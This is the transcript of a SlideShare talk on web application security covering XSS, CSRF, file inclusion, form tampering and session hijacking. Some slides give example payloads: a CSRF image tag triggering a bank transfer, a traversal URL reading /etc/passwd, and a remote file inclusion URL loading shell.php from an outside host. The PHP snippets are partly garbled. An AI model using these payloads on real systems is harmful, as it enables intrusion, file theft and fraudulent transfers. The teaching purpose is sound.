Your SlideShare is downloading. ×
0
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Web app security part 2
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

Web app security part 2

803

Published on

Cross site scripting ,Defacement

Cross site scripting ,Defacement

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
803
On Slideshare
0
From Embeds
0
Number of Embeds
0
Actions
Shares
0
Downloads
19
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  • 1. Web Application Security By Noah Franklin J
  • 2. Defaced Site Copy Rights to Noah Franklin J
  • 3. PreventionPrimary defenses: Parameterization(Prepare statement) Stored Procedure Escaping all user supplied inputExtra Defenses: Least Privilege White List Input Validation Copy Rights to Noah Franklin J
  • 4. Cross Site Scripting Cross-site scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user.Types of Cross Site Scripting Cross site Reflection attack Cross site request forgery attack Copy Rights to Noah Franklin J
  • 5. Cross site ScriptingA British researcher, Jim Lye, discovered (2004) a XSSflaw in Google and provided this proof of concept Phishingpage where Google becomes a „paying service‟. If youwould be so kind as to provide your credit card details.Later They understand the risk and they fixed Copy Rights to Noah Franklin J
  • 6. Cross site Scripting Copy Rights to Noah Franklin J
  • 7. Cross Site Scripting persistent xss Non-presistent xss Copy Rights to Noah Franklin J
  • 8. Reflection or Non-Presistent Xss Copy Rights to Noah Franklin J
  • 9. Stored or Presistent Xss Copy Rights to Noah Franklin J
  • 10. Cross Site scripting Cross site Scripting Demo Copy Rights to Noah Franklin J
  • 11. Cross Site request forgery attackA Banking website was hacked by the hacker , then he having a adminprivilege so he/she can upload any script to the website.Many of us doing a online money transaction and checks for the Bankaccount balance.Attacker was tricking the user by uploading there script in the website<img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="1" height="1" border="0">This the tricky code from the hacker he can trick the user by placing aCode behind the pictures are some URL morphing Copy Rights to Noah Franklin J
  • 12. Things To AvoidMust URL-encodeThe following example outputs user data that must be URL-encodedbecause it is used as a value in the query string.<ahref=”http://site.com?id=USER_DATA_HERE_MUST_BE_URL_ENCODD”>Must Not URL-EncodeThe following example outputs the user-supplied data for the entireURL. In this case, the user data should be escaped with the standardescape function (HTML encode any <, >, &, „, “), not URL-encoded.URL-encoding this example would lead to malformed links.<a href=”USER_DATA_HERE_MUST_USE_STANDARD_HTML_ESCAPING”> Copy Rights to Noah Franklin J
  • 13. Local File Inclusion or Directory Traversalwww.target.com/index.php?page=../../../etc/passwd Copy Rights to Noah Franklin J
  • 14. Remote File Inclusionwww.xyz.com/contacts.php?page=http://www.abc.com/shell.php Copy Rights to Noah Franklin J
  • 15. Things to avoidfunctions that can cause LFI / RFI: include (); include_once (); require (); require_once (); Provided that the PHP configuration on the server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off example: suppose we have a index.php file with code like this content, Code: "../$_ include GET [framefile] "; ?> Copy Rights to Noah Franklin J
  • 16. Things to avoideg $ framefile = main.php probably in url will look like this form http://www. [target] .com / index.php? framefile = main.php then this script will display the main.php page. Here the attacker will ever be able to LFI for variables in include framefile away without using filters. for example, the attacker wants to access the existing passwd file on the server, then he will try to incorporate this kind .. / .. / .. / .. / .. / .. / .. / .. / .. / etc / passwd << with the number "../" depth that depends on the folder where the index.php file .. so the contents of the passwd file will be displayed in the browser. we can use the method to guess the folder structure in the target site ^ ^ Copy Rights to Noah Franklin J
  • 17. Things to avoidWarning: main (../../../../../../../../../ etc / passwd.php) [function.include]: failed to open stream: No such file or directory in / their / web / root / index.php on line 2 passwd was tough on him plus the extension ". php" means the code that is used to include these Code: include ($ _GET [framefile]. ". php"; ?>Visit this site : http://www.uletbulu.net/2009/12/rfi-lfi-bugs-and-prevent.html Copy Rights to Noah Franklin J
  • 18. Form tampering Copy Rights to Noah Franklin J
  • 19. Form tampering Copy Rights to Noah Franklin J
  • 20. Form tampering Copy Rights to Noah Franklin J
  • 21. Session hijackingWhat is Cookie ?A cookie, also known as an HTTP cookie, webcookie, or browser cookie, is usually a small piece ofdata sent from a website and stored in a usersWeb browser while a user is browsing a website. Copy Rights to Noah Franklin J
  • 22. Session hijacking Session hijacking Demo Copy Rights to Noah Franklin J
  • 23. Cookie Poisoning Cookie Poisoning Demo Video Copy Rights to Noah Franklin J

×